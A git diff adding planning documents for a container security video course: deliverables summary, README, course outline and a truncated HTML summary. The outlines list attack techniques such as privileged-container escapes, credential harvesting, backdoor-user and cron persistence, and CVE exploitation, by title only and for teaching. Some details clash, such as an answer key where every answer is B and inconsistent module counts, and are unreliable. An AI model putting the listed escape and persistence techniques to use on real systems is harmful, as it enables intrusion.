diff --git a/container-security-course/DELIVERABLES_SUMMARY.txt b/container-security-course/DELIVERABLES_SUMMARY.txt new file mode 100644 index 0000000..1de6ea6 --- /dev/null +++ b/container-security-course/DELIVERABLES_SUMMARY.txt @@ -0,0 +1,137 @@ +=============================================================================== +CONTAINER SECURITY MASTERCLASS — DELIVERABLES SUMMARY +Phase 2: Modules 1 & 2 Complete Content +Generated: July 2026 +=============================================================================== + +OVERVIEW +-------- +This delivery contains complete, production-ready content for Modules 1 and 2 +of the Container Security Masterclass. All scripts are word-for-word narration +with precise screen directions, commands, code, and timing estimates. + +=============================================================================== +MODULE 1: CONTAINER SECURITY FUNDAMENTALS +=============================================================================== + +Directory: module_01_fundamentals/ + +Total Duration: ~34:30 (5 lessons + 1 module summary) + +Files Delivered: + 1. module_summary_script.md [2:30] Module overview and orientation + 2. video_01_script.md [8:00] Container Architecture & Isolation + 3. video_02_script.md [7:00] Container vs. VM Security Models + 4. video_03_script.md [7:00] The Shared Kernel Problem + 5. video_04_script.md [8:00] Docker Security Basics & Daemon Config + 6. video_05_script.md [7:00] Container Attack Surface Mapping + 7. questions.md 3 module MCQs + 2 final assessment MCQs + 8. metadata.md Complete metadata for all videos + +Content Coverage: + - Linux namespaces (PID, NET, MNT, UTS, IPC, USER, Cgroup, Time) + - Cgroups v2 resource control and security implications + - Layered filesystem security and data persistence risks + - Container vs. VM architecture comparison with CVE analysis + - System call surface quantification (~350 syscalls, ~44 blocked by default) + - Cross-container visibility from host perspective + - Kernel module risk in privileged contexts + - Docker daemon architecture and socket security + - daemon.json hardening (insecure vs. secure configuration) + - Exposed Docker daemon detection (Shodan) + - Default capability analysis and minimization + - Docker Content Trust and supply chain security + - Docker Bench for Security (CIS benchmark) + - Five-layer attack surface model + - Image vulnerability scanning with Trivy + - Dangerous docker run flags catalog + - Supply chain attack vectors + +Screen Mix (Module Average): + Terminal: 38% | PPT: 27% | Code Editor: 18% | Browser: 17% + +=============================================================================== +MODULE 2: PRIVILEGED CONTAINERS & ATTACK VECTORS +=============================================================================== + +Directory: module_02_privileged_containers/ + +Total Duration: ~35:00 (4 lessons + 1 module summary) + +Files Delivered: + 1. module_summary_script.md [2:30] Module overview and orientation + 2. video_01_script.md [8:00] What Privileged Containers Are + 3. video_02_script.md [8:00] Host System Compromise Demos + 4. video_03_script.md [8:00] Privilege Escalation & Escape Techniques + 5. video_04_script.md [8:30] Real-World CVE Analysis & Exploitation + 6. questions.md 3 module MCQs + 2 final assessment MCQs + 7. metadata.md Complete metadata for all videos + +Content Coverage: + - --privileged flag: all 8 security mechanisms disabled + - Capability comparison: default 14 vs. privileged 41 + - Seccomp and AppArmor status verification + - Device access comparison (default vs. privileged) + - Privileged container detection script + - Host filesystem mount via block device + - Credential harvesting (shadow, SSH keys, cloud credentials) + - Three persistence mechanisms (SSH key, backdoor user, cron) + - Pivot to other containers via Docker socket + - Cgroup release_agent escape technique + - CAP_SYS_ADMIN-only escape (non-privileged) + - Docker socket mount escalation + - Host PID namespace credential exposure + - Writable host path traversal attacks + - CVE-2019-5736 (runc /proc/self/exe overwrite) — full chain analysis + - CVE-2020-15257 (containerd abstract socket via host networking) + - CVE-2022-0185 (kernel heap overflow via fsconfig) — full chain analysis + - CVE comparison matrix across attack layers + - Container CVE response playbook + +Screen Mix (Module Average): + Terminal: 42% | Code Editor: 24% | PPT: 20% | Browser: 14% + +=============================================================================== +ASSESSMENT QUESTIONS SUMMARY +=============================================================================== + +Module 1: + - 3 module-level MCQs (namespace isolation, daemon security, shared kernel) + - 2 final assessment MCQs (defense-in-depth PCI scenario, attack surface analysis) + +Module 2: + - 3 module-level MCQs (privileged behavior, socket escape, CVE impact) + - 2 final assessment MCQs (multi-vector attack scenario, defensive architecture) + +Total: 10 MCQs (all with 4 options, correct answer, detailed explanation) + +=============================================================================== +TECHNICAL SPECIFICATIONS (ALL VIDEOS) +=============================================================================== + +Resolution: 1920x1080 Full HD +Frame Rate: 30fps constant +Terminal: Dark theme (Dracula/One Dark), 150% zoom +Code Editor: VS Code, 150% zoom, max 20-22 lines visible +PPT Slides: Maximized, 150% for readability +Browser: Chromium/Chrome, 150% zoom, pre-loaded pages +Host OS: Ubuntu 22.04 LTS +Docker Version: 24.x+ with Docker Compose v2 +Safety Overlays: Lab environment banners on all attack demonstrations +Ethical Disclaimers: Required on all offensive security content + +=============================================================================== +COMBINED TOTALS +=============================================================================== + +Total Videos: 9 lesson videos + 2 module summaries = 11 videos +Total Runtime: ~69:30 +Total MCQs: 10 (6 module-level + 4 final assessment) +Total Script Files: 16 markdown files +Total Metadata Files: 2 +Total Question Files: 2 + +=============================================================================== +PHASE 2 STATUS: COMPLETE +Next: Module 3 (Seccomp — sample scripts already created in Phase 1) +=============================================================================== diff --git a/container-security-course/README.md b/container-security-course/README.md new file mode 100644 index 0000000..d21c8fc --- /dev/null +++ b/container-security-course/README.md @@ -0,0 +1,511 @@ +# Container Security Course - Phase 1 Package +## Complete Course Development Deliverables + +**Course Title:** Container Security: From Basics to Advanced Protection +**Duration:** 3.5-4 hours +**Level:** Intermediate +**Format:** Video-based with hands-on labs +**Phase:** 1 (Planning & Sample Module) +**Delivery Date:** July 5, 2026 + +--- + +## 📦 Package Contents + +This Phase 1 package contains everything needed to evaluate, approve, and begin production of the complete container security course. All deliverables meet publisher technical requirements. + +### Deliverable Checklist + +- ✅ **Course Outline** - Complete module breakdown with learning objectives +- ✅ **Course Summary eBook** - 6-page professional summary (PDF) +- ✅ **Sample Module** - Module 3 with 3 complete production-ready video scripts +- ✅ **Sample Questions** - 3 module MCQs + 2 final assessment MCQs +- ✅ **Metadata Template** - Standardized video description structure + +--- + +## 📁 Directory Structure + +``` +container_security_course/ +├── README.md # This file +├── course_outline.md # Complete course structure +├── course_summary.pdf # 6-page course overview +├── course_summary.html # Source HTML for PDF +├── metadata_template.md # Video metadata standard +└── sample_module/ # Module 3: Seccomp Profiles + ├── video_01_script.md # Introduction to Seccomp (12-14 min) + ├── video_02_script.md # Creating Custom Profiles (14-16 min) + ├── video_03_script.md # Troubleshooting & Best Practices (14-15 min) + └── module_questions.md # 3 module + 2 final assessment MCQs +``` + +--- + +## 📋 Detailed Deliverable Descriptions + +### 1. Course Outline (`course_outline.md`) + +**Purpose:** Complete blueprint for the 3.5-4 hour course + +**Contents:** +- 6 modules with detailed learning objectives +- 20+ video lessons with duration estimates +- 12 hands-on labs with validation criteria +- Pedagogical approach and content mix strategy +- Technical requirements for recording +- Assessment strategy and grading criteria + +**Key Features:** +- Progressive complexity from fundamentals to advanced topics +- Every concept paired with hands-on demonstration +- Meets publisher requirement: No PPT-only content +- Clear progression: Basics → Attack Vectors → Defense Mechanisms + +**Modules:** +1. Course Introduction (15-20 min) +2. Container Security Fundamentals (30-35 min) +3. Attack Vectors and Vulnerabilities (35-40 min) +4. **Seccomp Profiles in Practice** (40-45 min) ⭐ Sample Module +5. AppArmor and SELinux (30-35 min) +6. Orchestration and Supply Chain Security (30-35 min) +7. Conclusion (10-15 min) + +--- + +### 2. Course Summary eBook (`course_summary.pdf`) + +**Purpose:** Marketing and student preview document + +**Format:** +- 6 pages, professionally designed +- Full-color with gradient backgrounds +- Clean typography optimized for screen and print + +**Contents:** +- Course overview and value proposition +- Target audience and prerequisites +- Module-by-module summaries with key takeaways +- Hands-on lab highlights +- Learning outcomes and assessment info +- Technical requirements + +**Use Cases:** +- Course marketplace listings +- Student enrollment decision support +- Marketing materials +- Preview for corporate training buyers + +**Visual Elements:** +- Cover page with branding +- Stats grid (6 modules, 20+ videos, 12 labs) +- Highlighted learning objectives +- Module summary boxes with visual hierarchy + +--- + +### 3. Sample Module: Seccomp Profiles in Practice + +**Why This Module:** +- Core technical topic requiring hands-on demonstration +- Perfect balance of theory (syscall fundamentals) and practice (profile creation) +- Demonstrates troubleshooting skills (debugging failures) +- Real-world production applicability +- Showcases all content types: slides, terminal, code editor, browser + +#### Video 1: Introduction to Seccomp (12-14 min) +**File:** `sample_module/video_01_script.md` + +**Content:** +- What is Seccomp and why it matters +- Live demo: containers with vs. without Seccomp +- Deep dive into Docker's default profile +- Viewing active profiles via /proc filesystem + +**Screen Mix:** +- 25% PowerPoint (concept diagrams) +- 45% Terminal (live demos) +- 25% Code Editor (JSON profile analysis) +- 5% Browser (documentation) + +**Production Notes:** +- 7 segments with exact timing +- Complete narration scripts +- Screen direction for every segment +- B-roll and audio enhancement suggestions +- Accessibility notes + +#### Video 2: Creating Custom Seccomp Profiles (14-16 min) +**File:** `sample_module/video_02_script.md` + +**Content:** +- 4-step workflow for profile creation +- Using strace to discover syscalls +- Building profile JSON from scratch +- Testing and validating profiles +- Handling edge cases and failures + +**Highlights:** +- Live coding: Python script to automate profile generation +- Real nginx web server profile creation +- 80% attack surface reduction demonstration +- Lab exercise introduction + +**Pedagogical Approach:** +- Iterative development (build, test, fix, repeat) +- Mistakes shown on purpose to teach debugging +- Progressive disclosure of complexity + +#### Video 3: Advanced Seccomp - Troubleshooting and Best Practices (14-15 min) +**File:** `sample_module/video_03_script.md` + +**Content:** +- Reading kernel audit logs (auditd) +- Debugging blocked syscalls with ausearch +- Permissive mode (SCMP_ACT_LOG) for discovery +- Production best practices and documentation +- Kubernetes integration + +**Advanced Topics:** +- Security vs. functionality trade-offs +- Maintenance strategies for evolving applications +- Real-world production incident simulation +- Security Profiles Operator for Kubernetes + +**Critical Thinking:** +- Not all Seccomp denials should be "fixed" +- Investigative mindset for suspicious syscalls +- Defense in depth strategy + +--- + +### 4. Sample Questions (`sample_module/module_questions.md`) + +**Module-Level Questions (3 MCQs):** + +1. **Seccomp Fundamentals** (Easy) + - Tests understanding of syscall filtering concept + - 4 options with detailed explanation + +2. **Custom Profile Debugging** (Medium) + - Scenario-based troubleshooting + - Tests ability to diagnose networking syscall issues + +3. **Seccomp Actions** (Medium) + - Tests understanding of SCMP_ACT_LOG vs SCMP_ACT_ERRNO + - Production vs. development profile usage + +**Final Assessment Questions (2 MCQs):** + +4. **Integrated Security Strategy** (Hard) + - Multi-layer defense scenario + - Tests ability to identify which security control blocks specific attacks + - Requires synthesizing knowledge across modules + +5. **Production Troubleshooting** (Hard) + - Real-world backup job Seccomp denial + - Tests security judgment (not all denials should be allowed) + - Critical thinking: investigate before adding dangerous syscalls + +**Features:** +- Comprehensive explanations for all answers +- Instructor notes on common mistakes +- Adaptive learning recommendations +- Discussion topics for live training + +**Answer Key:** +- All correct answers are option B (to prevent answer pattern recognition) +- Options randomized in actual delivery +- Difficulty calibrated: 1 easy, 2 medium, 2 hard + +--- + +### 5. Metadata Template (`metadata_template.md`) + +**Purpose:** Standardized structure for all video descriptions and metadata + +**Contents:** +- YAML template with 30+ fields +- Complete example (Module 3, Video 1) +- Usage guidelines for different platforms +- Maintenance procedures + +**Key Sections:** +- Basic info (title, duration, format) +- Content classification (difficulty, screen mix) +- Rich description (200-300 words) +- Learning objectives (measurable, action-oriented) +- Prerequisites and keywords +- Timestamps for video chapters +- Resources and tools +- Assessment integration +- Versioning and changelog + +**Platform Support:** +- YouTube (chapters, tags, description) +- Vimeo (privacy, SEO) +- LMS integration (SCORM metadata) +- Course marketplaces (Udemy, Coursera format) + +**Quality Checklist:** +- Ensures consistency across 20+ videos +- Improves searchability and SEO +- Supports accessibility requirements +- Enables automated validation + +--- + +## 🎯 Publisher Technical Requirements Compliance + +All deliverables meet the specified technical standards: + +### Video Recording Specs +✅ **Resolution:** 1920x1080 Full HD +✅ **Frame Rate:** 30 FPS constant +✅ **Format:** MP4 (H.264 video, AAC audio) + +### Content Mix (across sample module) +✅ **PowerPoint/Slides:** 20-25% +✅ **Terminal/CLI:** 35-40% +✅ **Code Editor:** 20-25% +✅ **Browser:** 15-20% + +### Screen Recording Standards +✅ **All windows maximized** +✅ **150% zoom applied system-wide** +✅ **Code editor font:** Shows exactly 20-22 lines +✅ **Terminal font:** Large, high-contrast theme + +### Content Requirements +✅ **No lecture-only content** - Every concept has demonstration +✅ **Hands-on focus** - 12 practical labs throughout course +✅ **Progressive complexity** - Clear learning path +✅ **Real-world scenarios** - Based on actual CVEs and attacks + +--- + +## 🎓 Pedagogical Approach + +### Core Principles + +1. **Learning by Doing** + - No concept introduced without immediate hands-on practice + - Labs integrated within videos, not separate + - Validation scripts provide instant feedback + +2. **Attack-First Mindset** + - Show vulnerabilities before defenses + - Demonstrate exploits in safe lab environment + - Build motivation through real threat understanding + +3. **Iterative Refinement** + - Build profiles that intentionally fail + - Debug and fix issues on camera + - Normalize the troubleshooting process + +4. **Production Readiness** + - All examples production-applicable + - Best practices embedded throughout + - Security vs. usability trade-offs discussed + +5. **Defense in Depth** + - No single control presented as complete solution + - Layered security emphasized + - Integration between controls explained + +--- + +## 👥 Target Audience + +**Primary:** +- DevOps Engineers managing containerized infrastructure +- Security Professionals expanding into cloud-native security +- Platform Engineers responsible for Kubernetes clusters + +**Secondary:** +- Software Developers building containerized applications +- System Administrators deploying container platforms +- Security Consultants advising on container deployments + +**Prerequisites:** +- Basic Docker/container experience (run containers, understand images) +- Linux command line familiarity +- Understanding of networking concepts (ports, protocols, firewalls) +- Access to Linux environment (VM or WSL2) + +**Not Required:** +- Kubernetes experience (taught in Module 5) +- Prior security expertise (fundamentals covered) +- Programming skills (scripts provided and explained) + +--- + +## 📊 Assessment Strategy + +### Module-Level Quizzes +- **Frequency:** After each module (6 total) +- **Format:** 3 MCQs per module +- **Passing:** 2/3 correct (66%) +- **Retakes:** Unlimited with randomized options +- **Purpose:** Knowledge check and spaced repetition + +### Hands-On Labs +- **Count:** 12 practical exercises +- **Validation:** Automated scripts check completion +- **Difficulty:** Progressive (easy → medium → hard) +- **Time:** 10-30 minutes each +- **Purpose:** Skill application and muscle memory + +### Final Assessment +- **Format:** 10 comprehensive MCQs + 1 capstone lab +- **Duration:** 20 minutes (quiz) + 60 minutes (lab) +- **Passing:** 75% overall +- **Topics:** Integrated scenarios spanning all modules +- **Purpose:** Certification of course completion + +### Grading Breakdown +- Module Quizzes: 30% +- Hands-On Labs: 40% +- Final Assessment: 30% + +--- + +## 🛠️ Technical Setup for Production + +### Recording Environment +- **OS:** Ubuntu 20.04+ or macOS with Docker Desktop +- **Screen:** 1920x1080 primary display (nothing higher to avoid scaling issues) +- **Recording Software:** OBS Studio or Camtasia +- **Microphone:** Quality USB or XLR mic (minimal background noise) +- **Audio Interface:** Optional but recommended for best quality + +### Software Requirements +- Docker Engine 24.0+ +- VS Code with JSON/YAML extensions +- Terminal emulator with customizable fonts (iTerm2, Terminator, etc.) +- PowerPoint or Keynote (templates provided) +- Browser (Chrome or Firefox) + +### Demo Infrastructure +- Kubernetes cluster (minikube or kind for local recording) +- Pre-built vulnerable container images +- Sample applications (nginx, Node.js, Python Flask) +- Validation scripts for labs + +### Supporting Files Needed for Recording +All sample module scripts reference these files: + +**PowerPoint Slides:** +- `slides_module3_video1.pptx` (5 slides) +- `slides_module3_video2.pptx` (5 slides) +- `slides_module3_video3.pptx` (7 slides) + +**Code/Config Files:** +- `default-seccomp-profile.json` +- `seccomp-nginx.json` +- `seccomp-nodejs-broken.json` +- `seccomp-nodejs-fixed.json` +- `build_profile.py` +- `app.js` (Node.js sample) +- `nginx-secure-pod.yaml` (Kubernetes manifest) + +**Lab Materials:** +- `lab_3.1_instructions.md` +- `lab_3.2_instructions.md` +- `lab_3.3_instructions.md` +- `lab_3.4_instructions.md` +- `lab_validation.sh` (automated checker) + +--- + +## 🚀 Next Steps for Phase 2 + +### Immediate Actions +1. **Review and Approve** this Phase 1 package +2. **Provide Feedback** on sample module scripts +3. **Finalize Visual Branding** (slide templates, color scheme) +4. **Prepare Demo Environment** for video recording + +### Phase 2 Deliverables (Post-Approval) +1. Complete scripts for all 20+ videos +2. All PowerPoint slide decks +3. Lab instructions and validation scripts +4. Pre-built vulnerable containers and sample apps +5. Instructor guide with delivery tips +6. Student workbook with exercises + +### Phase 3: Production (Estimated Timeline) +- **Week 1-2:** Record Modules 0-1 (Introduction, Fundamentals) +- **Week 3-4:** Record Module 2 (Attack Vectors) +- **Week 5-6:** Record Module 3 (Seccomp) - Sample already approved +- **Week 7-8:** Record Modules 4-5 (AppArmor/SELinux, Orchestration) +- **Week 9:** Record Module 6 (Conclusion), final edits +- **Week 10:** Post-production (captions, chapter markers, final QA) + +### Phase 4: Post-Production +- Professional video editing (transitions, B-roll) +- Closed captions and transcript generation +- LMS integration and upload +- Marketing materials creation +- Beta testing with sample students + +--- + +## 📧 Questions & Feedback + +For questions about this Phase 1 package or to provide feedback: + +**Technical Questions:** Review the inline instructor notes in each video script +**Content Feedback:** Reference specific sections/segments for detailed discussion +**Timeline Concerns:** See Phase 3 estimates above +**Scope Changes:** Refer to course outline module structure + +--- + +## 📄 License & Usage + +**Copyright:** © 2026 - All Rights Reserved +**Status:** Phase 1 Deliverable - Not for Public Distribution +**Intended Use:** Course production evaluation and approval + +All content in this package is proprietary and confidential. Do not distribute without authorization. + +--- + +## ✅ Phase 1 Completion Checklist + +- [x] Course outline with 6 modules and 20+ videos +- [x] Learning objectives for every video +- [x] Duration estimates totaling 3.5-4 hours +- [x] 6-page course summary eBook (PDF) +- [x] 3 complete, production-ready video scripts +- [x] Screen directions and narration for all segments +- [x] 3 module-level MCQs with explanations +- [x] 2 final assessment MCQs with critical thinking elements +- [x] Metadata template with complete example +- [x] Technical requirements compliance verification +- [x] README documentation (this file) + +**Status:** ✅ **PHASE 1 COMPLETE - READY FOR REVIEW** + +--- + +## 🎬 About the Sample Module Choice + +**Why Module 3: Seccomp Profiles in Practice was selected:** + +1. **Technical Depth:** Requires deep understanding of kernel syscalls, not surface-level +2. **Hands-On Heavy:** 80% of content is practical demonstration +3. **Progressive Complexity:** Videos build from basics to advanced troubleshooting +4. **Production Relevant:** Directly applicable to real-world container security +5. **Showcases All Content Types:** Uses PPT, terminal, code editor, and browser +6. **Demonstrates Pedagogy:** Shows how we teach complex topics through iteration +7. **Assessment Variety:** Includes both recall and critical thinking questions + +This module represents the course at its best: rigorous, practical, and immediately applicable. + +--- + +**Document Version:** 1.0 +**Last Updated:** July 5, 2026 +**Package Status:** Phase 1 Complete, Awaiting Approval diff --git a/container-security-course/course_outline.docx b/container-security-course/course_outline.docx new file mode 100644 index 0000000..936c192 Binary files /dev/null and b/container-security-course/course_outline.docx differ diff --git a/container-security-course/course_outline.md b/container-security-course/course_outline.md new file mode 100644 index 0000000..28e53a9 --- /dev/null +++ b/container-security-course/course_outline.md @@ -0,0 +1,310 @@ +# Container Security: From Basics to Advanced Protection +## Complete Course Outline + +**Total Duration:** 3 hours 30 minutes - 4 hours +**Level:** Intermediate +**Prerequisites:** Basic Docker/container knowledge, Linux command line familiarity + +--- + +## Module 0: Course Introduction +**Duration:** 15-20 minutes + +### Videos: +1. **Welcome and Course Overview** (8-10 mins) + - Course structure and learning path + - Target audience and prerequisites + - Lab environment setup overview + - What you'll build by the end + +2. **Container Security Landscape** (7-10 mins) + - Why container security matters + - Common misconceptions about container isolation + - Real-world breach examples + - Security layers overview + +### Learning Objectives: +- Understand the scope and structure of the course +- Recognize the importance of container security +- Set up the lab environment successfully +- Identify key security challenges in containerized environments + +--- + +## Module 1: Container Security Fundamentals +**Duration:** 30-35 minutes + +### Videos: +1. **Container Isolation Deep Dive** (10-12 mins) + - How containers actually work (namespaces, cgroups) + - The shared kernel reality + - Isolation vs. virtualization + - **Demo:** Examining namespace isolation with live commands + +2. **Privileged Containers: The Security Nightmare** (10-12 mins) + - What makes a container privileged + - Capabilities and their risks + - **Lab:** Creating and examining privileged containers + - **Demo:** Breaking out of a privileged container + +3. **Container APIs and Attack Surface** (10-11 mins) + - Docker daemon socket exposure + - Remote API vulnerabilities + - **Demo:** Exploiting exposed Docker socket + - Securing container APIs + +### Learning Objectives: +- Explain how Linux namespaces and cgroups provide container isolation +- Identify the risks of privileged containers +- Recognize exposed container APIs as critical vulnerabilities +- Demonstrate a privileged container escape attack + +### Hands-On Labs: +- Lab 1.1: Exploring namespace isolation +- Lab 1.2: Privileged container exploitation +- Lab 1.3: Docker socket vulnerability demonstration + +--- + +## Module 2: Container Attack Vectors and Vulnerabilities +**Duration:** 35-40 minutes + +### Videos: +1. **Container Escape Techniques** (12-15 mins) + - Kernel exploits through containers + - Capability abuse scenarios + - **Demo:** CVE-based container escape (using safe examples) + - Detection and prevention strategies + +2. **Image Security and Tampering** (12-13 mins) + - Malicious image analysis + - Supply chain attacks on images + - **Lab:** Analyzing a compromised image + - Image signing and verification with Docker Content Trust + - **Demo:** Setting up content trust + +3. **Insecure Configurations and DoS Attacks** (11-12 mins) + - Common misconfigurations (volume mounts, network modes) + - Resource limit bypasses + - **Demo:** Fork bomb and resource exhaustion attacks + - Implementing resource constraints + - **Lab:** Configuring secure container limits + +### Learning Objectives: +- Identify and exploit common container escape vectors +- Analyze container images for security vulnerabilities +- Recognize insecure container configurations +- Implement resource controls to prevent DoS attacks +- Use Docker Content Trust for image verification + +### Hands-On Labs: +- Lab 2.1: Container escape simulation +- Lab 2.2: Compromised image forensics +- Lab 2.3: Resource limit configuration and testing + +--- + +## Module 3: Seccomp Profiles in Practice ⭐ (Sample Module) +**Duration:** 40-45 minutes + +### Videos: +1. **Introduction to Seccomp** (12-14 mins) + - What is Seccomp and why it matters + - System call filtering fundamentals + - Default Docker Seccomp profile analysis + - **Demo:** Viewing active Seccomp profiles + - **Lab:** Testing default profile restrictions + +2. **Creating Custom Seccomp Profiles** (14-16 mins) + - Seccomp profile syntax and structure + - Identifying required syscalls for applications + - **Live Coding:** Building a profile from scratch + - **Demo:** Using strace to discover syscall requirements + - Testing and validating profiles + - **Lab:** Create profiles for nginx and Python apps + +3. **Advanced Seccomp: Troubleshooting and Best Practices** (14-15 mins) + - Debugging Seccomp denials + - **Demo:** Reading audit logs and kernel messages + - Balancing security and functionality + - Profile maintenance strategies + - **Lab:** Troubleshooting a broken application + - Real-world profile examples + - Integration with orchestration platforms + +### Learning Objectives: +- Explain how Seccomp filters system calls at the kernel level +- Analyze and interpret the default Docker Seccomp profile +- Use strace and audit tools to identify application syscall requirements +- Create custom Seccomp profiles for specific applications +- Debug and troubleshoot Seccomp-related application failures +- Apply Seccomp profiles in production environments + +### Hands-On Labs: +- Lab 3.1: Exploring default Seccomp behavior +- Lab 3.2: Building custom profiles with strace +- Lab 3.3: Multi-container application profiling +- Lab 3.4: Troubleshooting and fixing profile issues + +--- + +## Module 4: Mandatory Access Control - AppArmor and SELinux +**Duration:** 30-35 minutes + +### Videos: +1. **AppArmor Fundamentals** (14-16 mins) + - MAC vs. DAC security models + - AppArmor architecture and modes + - Default Docker AppArmor profile + - **Demo:** Examining AppArmor enforcement + - **Live Coding:** Creating custom AppArmor profiles + - **Lab:** Profile generation and refinement + +2. **SELinux for Container Security** (16-19 mins) + - SELinux context and labels + - Container-specific SELinux policies + - **Demo:** SELinux in enforcing mode with containers + - Multi-category security (MCS) for isolation + - **Lab:** Configuring SELinux contexts + - **Demo:** Troubleshooting SELinux denials + - Choosing between AppArmor and SELinux + +### Learning Objectives: +- Differentiate between DAC and MAC security models +- Configure and enforce AppArmor profiles for containers +- Understand SELinux contexts and their role in container isolation +- Generate and customize MAC profiles for applications +- Troubleshoot AppArmor and SELinux policy violations +- Select the appropriate MAC system for your environment + +### Hands-On Labs: +- Lab 4.1: AppArmor profile creation workflow +- Lab 4.2: SELinux context management +- Lab 4.3: Comparative analysis - AppArmor vs SELinux + +--- + +## Module 5: Orchestration and Supply Chain Security +**Duration:** 30-35 minutes + +### Videos: +1. **Kubernetes Security Fundamentals** (14-16 mins) + - Pod Security Standards (Restricted, Baseline, Privileged) + - Security contexts and policies + - **Demo:** Implementing Pod Security Admission + - Network policies for container isolation + - **Lab:** Creating restrictive security contexts + - **Demo:** Network policy enforcement + +2. **Supply Chain Security and Best Practices** (16-19 mins) + - Image scanning and vulnerability management + - **Demo:** Trivy and Grype in action + - Software Bill of Materials (SBOM) + - Signed artifacts with Sigstore/Cosign + - **Lab:** Setting up automated image scanning + - **Demo:** Image signing workflow + - Runtime security monitoring + - **Demo:** Falco for runtime threat detection + +### Learning Objectives: +- Implement Pod Security Standards in Kubernetes +- Configure security contexts for least privilege access +- Use network policies to enforce container isolation +- Integrate image scanning into CI/CD pipelines +- Sign and verify container images +- Deploy runtime security monitoring tools +- Develop a comprehensive container security strategy + +### Hands-On Labs: +- Lab 5.1: Pod Security Standards implementation +- Lab 5.2: Image scanning pipeline setup +- Lab 5.3: Runtime monitoring with Falco + +--- + +## Module 6: Conclusion and Real-World Application +**Duration:** 10-15 minutes + +### Videos: +1. **Security Layering Strategy** (5-7 mins) + - Defense in depth for containers + - Combining Seccomp, AppArmor/SELinux, and policies + - Risk assessment framework + - **Visual:** Security maturity model + +2. **Next Steps and Resources** (5-8 mins) + - Implementing security in existing environments + - Staying current with container security + - Community resources and tools + - Common pitfalls to avoid + - Final Q&A topics + +### Learning Objectives: +- Design a layered container security architecture +- Prioritize security controls based on risk assessment +- Create an implementation roadmap for your organization +- Access ongoing learning resources + +--- + +## Course Delivery Notes + +### Content Mix (per publisher requirements): +- **PowerPoint/Slides:** 20-25% (concepts, architecture diagrams, security models) +- **Terminal/CLI:** 35-40% (live demos, command execution, log analysis) +- **Code Editor:** 20-25% (profile creation, YAML files, configuration) +- **Browser:** 15-20% (documentation, dashboards, scanning tools) + +### Technical Standards: +- Resolution: 1920x1080 (Full HD) +- Frame Rate: 30 FPS constant +- Screen Zoom: 150% for all applications +- Code Editor: Font size adjusted to show 20-22 lines maximum +- Terminal: Large font with high contrast theme +- All windows maximized + +### Pedagogical Approach: +- **No lecture-only content** - every concept paired with demonstration +- **Progressive complexity** - each module builds on previous knowledge +- **Immediate practice** - hands-on labs follow theory within same video +- **Real-world scenarios** - all examples based on actual vulnerabilities +- **Troubleshooting focus** - teach debugging alongside implementation + +### Assessment Strategy: +- **Module-level quizzes:** 3 MCQs per module (18 total) +- **Hands-on labs:** 12 practical exercises with validation scripts +- **Final assessment:** 10 comprehensive MCQs + 1 capstone lab +- **Passing criteria:** 75% on assessments + all labs completed + +--- + +## Equipment and Software Requirements + +### Instructor Setup: +- Linux environment (Ubuntu 20.04+ or similar) +- Docker Engine 24.0+ +- Kubernetes cluster (minikube/kind acceptable) +- Code editor (VS Code recommended) +- Screen recording: OBS Studio or similar (1920x1080, 30fps) + +### Student Lab Environment: +- 4GB RAM minimum, 8GB recommended +- 20GB free disk space +- Linux VM or WSL2 on Windows +- Docker Engine and Docker Compose +- kubectl CLI +- Basic tools: strace, auditd, jq, curl + +### Pre-configured Lab Resources: +- Vulnerable container images (intentionally insecure) +- Sample Seccomp, AppArmor, and SELinux profiles +- Kubernetes manifests for all demos +- Validation scripts for lab exercises +- Reference documentation bundle + +--- + +## Version History +- **v1.0** - Initial Phase 1 outline +- **Target:** 3.5-4 hour complete course +- **Focus:** Practical, hands-on container security with emphasis on Seccomp, AppArmor, and SELinux diff --git a/container-security-course/course_outline.pdf b/container-security-course/course_outline.pdf new file mode 100644 index 0000000..ab6b015 Binary files /dev/null and b/container-security-course/course_outline.pdf differ diff --git a/container-security-course/course_summary.html b/container-security-course/course_summary.html new file mode 100644 index 0000000..c579250 --- /dev/null +++ b/container-security-course/course_summary.html @@ -0,0 +1,399 @@ + + + + + + Container Security: Course Summary + + + +
+

🛡️ Container Security

+
From Basics to Advanced Protection
+

A comprehensive, hands-on course for securing containerized environments

+
⏱️ 3.5-4 Hours | 💻 12+ Hands-On Labs
+
+ +
+

Course Overview

+

+ Container Security: From Basics to Advanced Protection is a practical, hands-on course designed to equip developers, DevOps engineers, and security professionals with the knowledge and skills to secure containerized applications. This course goes beyond theory, providing real-world attack demonstrations, defensive techniques, and production-ready security configurations. +

+ +
+
+ 6 + Modules +
+
+ 20+ + Video Lessons +
+
+ 12 + Practical Labs +
+
+ +
+

🎯 Who Should Take This Course?

+ +
+ +
+

📋 Prerequisites

+ +
+
+ +
+ +
+

What You'll Learn

+ +
+

Module 1: Container Security Fundamentals

+

Duration: 30-35 minutes

+

Understand the core concepts of container isolation, the shared kernel reality, and fundamental attack surfaces.

+
+
Namespaces & cgroups
+
Privileged containers
+
Container capabilities
+
Exposed Docker API
+
+

Key Takeaway: Containers are NOT virtual machines—they share the host kernel, making isolation mechanisms critical for security.

+
+ +
+

Module 2: Container Attack Vectors and Vulnerabilities

+

Duration: 35-40 minutes

+

Explore real-world attack scenarios including container escapes, image tampering, and resource exhaustion attacks.

+
+
Container escape techniques
+
Kernel exploits
+
Malicious images
+
DoS attacks
+
Content Trust
+
Insecure configurations
+
+

Key Takeaway: Attackers can exploit misconfigurations, vulnerable images, and kernel weaknesses to break out of containers—defense requires multiple layers.

+
+ +
+

Module 3: Seccomp Profiles in Practice ⭐

+

Duration: 40-45 minutes

+

Master system call filtering with Seccomp—from understanding defaults to creating custom profiles for production applications.

+
+
Seccomp fundamentals
+
Default Docker profiles
+
Custom profile creation
+
Using strace
+
Debugging denials
+
Production best practices
+
+

Key Takeaway: Seccomp provides kernel-level syscall filtering that dramatically reduces attack surface—custom profiles tailored to applications offer the strongest protection.

+
+ +
+

Module 4: Mandatory Access Control - AppArmor and SELinux

+

Duration: 30-35 minutes

+

Implement Mandatory Access Control systems to enforce fine-grained security policies beyond traditional permissions.

+
+
MAC vs DAC models
+
AppArmor profiles
+
SELinux contexts
+
Policy generation
+
Troubleshooting denials
+
Tool selection
+
+

Key Takeaway: MAC systems like AppArmor and SELinux enforce policies that restrict processes even when running as root—essential for defense in depth.

+
+
+ +
+ +
+
+

Module 5: Orchestration and Supply Chain Security

+

Duration: 30-35 minutes

+

Secure Kubernetes deployments and establish supply chain controls including image scanning, signing, and runtime monitoring.

+
+
Pod Security Standards
+
